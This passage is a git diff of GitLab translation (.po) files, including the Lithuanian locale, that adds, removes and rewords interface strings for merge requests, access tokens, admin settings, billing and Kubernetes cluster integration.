-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/lt_LT/gitlab.po b/locale/lt_LT/gitlab.po
index 11a1c6c1ab0..56b359a8758 100644
--- a/locale/lt_LT/gitlab.po
+++ b/locale/lt_LT/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: lt\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:43\n"
+"PO-Revision-Date: 2021-07-01 21:28\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -93,6 +90,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -341,13 +341,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -547,6 +540,30 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -594,6 +611,13 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -788,10 +812,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -963,6 +987,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -996,9 +1023,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1115,12 +1139,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1151,6 +1169,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1690,9 +1711,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1753,18 +1771,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1969,13 +1978,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1993,16 +2002,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2122,6 +2131,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2131,6 +2143,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2194,6 +2209,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2320,6 +2338,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2554,9 +2575,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2569,19 +2587,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2593,7 +2614,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2602,10 +2623,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3016,9 +3034,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3239,12 +3269,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3371,9 +3407,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3440,6 +3473,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3599,9 +3635,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3674,9 +3707,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3728,6 +3758,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3818,6 +3851,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3974,9 +4010,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4253,9 +4286,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4353,15 +4383,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4751,9 +4775,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4944,9 +4965,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5334,6 +5352,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5480,6 +5501,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5541,6 +5565,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5571,6 +5598,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5793,6 +5823,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5961,6 +5994,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6010,10 +6046,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -6058,6 +6094,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6181,9 +6220,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6289,15 +6325,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6574,6 +6610,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6676,9 +6715,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6706,6 +6742,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7135,9 +7174,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7147,24 +7183,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7198,15 +7222,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7219,9 +7234,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7243,9 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7264,15 +7273,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7294,9 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7309,15 +7306,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7339,15 +7333,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7396,12 +7381,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7417,9 +7396,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7435,9 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7480,27 +7453,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7528,9 +7486,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7540,18 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7573,39 +7516,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7639,9 +7552,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7690,12 +7600,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7738,9 +7642,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7750,15 +7651,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7795,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
